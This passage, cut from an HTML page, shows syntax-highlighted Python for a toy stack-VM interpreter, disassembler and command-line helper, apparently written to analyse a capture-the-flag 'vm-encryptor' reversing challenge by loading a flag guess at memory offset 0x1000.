</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0E</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># MOD</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.sp &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                b = self.pop()</span><span leaf=""><br/></span><span leaf="">                a = self.pop()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> b == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                self.push(i32(a) % i32(b))</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0F</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: a &amp; b)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x10</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: a | b)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x11</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.sp &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                self.stack[self.sp - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] = u32(~self.stack[self.sp - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x12</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: a ^ b)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x13</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: u32(a &lt;&lt; (b &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1F</span></span><span leaf="">)))</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x14</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: (a &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">) &gt;&gt; (b &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1F</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x15</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x16</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> a == b </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x17</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> a != b </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x18</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> i32(a) &lt; i32(b) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x19</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> i32(a) &gt; i32(b) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1A</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> i32(a) &lt;= i32(b) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1B</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> i32(a) &gt;= i32(b) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1C</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># DUP</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.sp &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                self.push(self.stack[self.sp - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1D</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># SWAP</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.sp &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                self.stack[self.sp - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">], self.stack[self.sp - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">] = self.stack[self.sp - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">], self.stack[self.sp - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1E</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># CALL imm32</span></span><span leaf=""><br/></span><span leaf="">                dst = rd_imm32(self.mem, self.ip)</span><span leaf=""><br/></span><span leaf="">                self.push(self.ip + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.error:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                self.ip = dst</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1F</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># RET</span></span><span leaf=""><br/></span><span leaf="">                self.ip = self.pop()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># PRINT</span></span><span leaf=""><br/></span><span leaf="">                addr = self.pop()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.error:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""> &lt;= addr &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFF</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">                    self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                out = []</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> addr &lt; MEM_SIZE </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> self.mem[addr] != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    out.append(self.mem[addr])</span><span leaf=""><br/></span><span leaf="">                    addr += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> addr &gt;= MEM_SIZE:</span><span leaf=""><br/></span><span leaf="">                    self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                print(bytes(out).decode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;latin1&#34;</span></span><span leaf="">, errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;replace&#34;</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># HALT</span></span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">                self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> ValueError:</span><span leaf=""><br/></span><span leaf="">            self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">run</span></span><span style="line-height: 26px;"><span leaf="">(self, max_steps=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">_000_000, trace=False)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        steps = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> self.running </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> self.error == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            self.step(trace=trace)</span><span leaf=""><br/></span><span leaf="">            steps += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> steps &gt;= max_steps:</span><span leaf=""><br/></span><span leaf="">                self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> steps</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">disasm</span></span><span style="line-height: 26px;"><span leaf="">(code: bytes, start=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, count=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    i = start</span><span leaf=""><br/></span><span leaf="">    end = min(len(code), start + count)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> i &lt; end:</span><span leaf=""><br/></span><span leaf="">        op = code[i]</span><span leaf=""><br/></span><span leaf="">        name = OPNAMES.get(op, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;OP_</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{op:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">02</span></span><span leaf="">X}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> op </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x01</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x02</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x04</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1E</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf=""> &lt;= len(code):</span><span leaf=""><br/></span><span leaf="">                imm = int.from_bytes(code[i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""> : i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">], </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;little&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{i:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">06</span></span><span leaf="">x}</span></span><span leaf="">: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{op:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">02</span></span><span leaf="">x}</span></span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{name:&lt;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">}</span></span><span leaf=""> 0x</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{imm:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">08</span></span><span leaf="">x}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{i:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">06</span></span><span leaf="">x}</span></span><span leaf="">: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{op:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">02</span></span><span leaf="">x}</span></span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{name:&lt;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">}</span></span><span leaf=""> &lt;truncated&gt;&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            i += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x03</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            imm = code[i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""> &lt; len(code) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{i:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">06</span></span><span leaf="">x}</span></span><span leaf="">: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{op:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">02</span></span><span leaf="">x}</span></span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{name:&lt;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">}</span></span><span leaf=""> 0x</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{imm:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">02</span></span><span leaf="">x}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            i += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{i:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">06</span></span><span leaf="">x}</span></span><span leaf="">: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{op:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">02</span></span><span leaf="">x}</span></span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{name}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            i += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    ap = argparse.ArgumentParser(description=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;vm-encryptor VM helper&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    ap.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;code&#34;</span></span><span leaf="">, help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;path to code.bin&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    ap.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--flag&#34;</span></span><span leaf="">, default=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">, help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;inject flag at mem[0x1000]&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    ap.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--trace&#34;</span></span><span leaf="">, action=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;store_true&#34;</span></span><span leaf="">, help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;trace each instruction&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    ap.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--max-steps&#34;</span></span><span leaf="">, type=int, default=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">_000_000)</span><span leaf=""><br/></span><span leaf="">    ap.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--disasm&#34;</span></span><span leaf="">, action=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;store_true&#34;</span></span><span leaf="">, help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;disasm only&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    ap.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--start&#34;</span></span><span leaf="">, type=</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> x: int(x, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">), default=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    ap.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--count&#34;</span></span><span leaf="">, type=int, default=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">512</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    args = ap.parse_args()</span><span leaf=""><br/></span><span leaf="">    code = Path(args.code).read_bytes()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> args.disasm:</span><span leaf=""><br/></span><span leaf="">        disasm(code, start=args.start, count=args.count)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">    vm = VM()</span><span leaf=""><br/></span><span leaf="">    vm.mem[: len(code)] = code</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 主程序会把用户输入复制到 VM 内存偏移 0x1000</span></span><span leaf=""><br/></span><span leaf="">    data = args.flag.encode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;latin1&#34;</span></span><span leaf="">, errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ignore&#34;</span></span><span leaf="">)[:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">42</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    vm.mem[</span><span style="color: 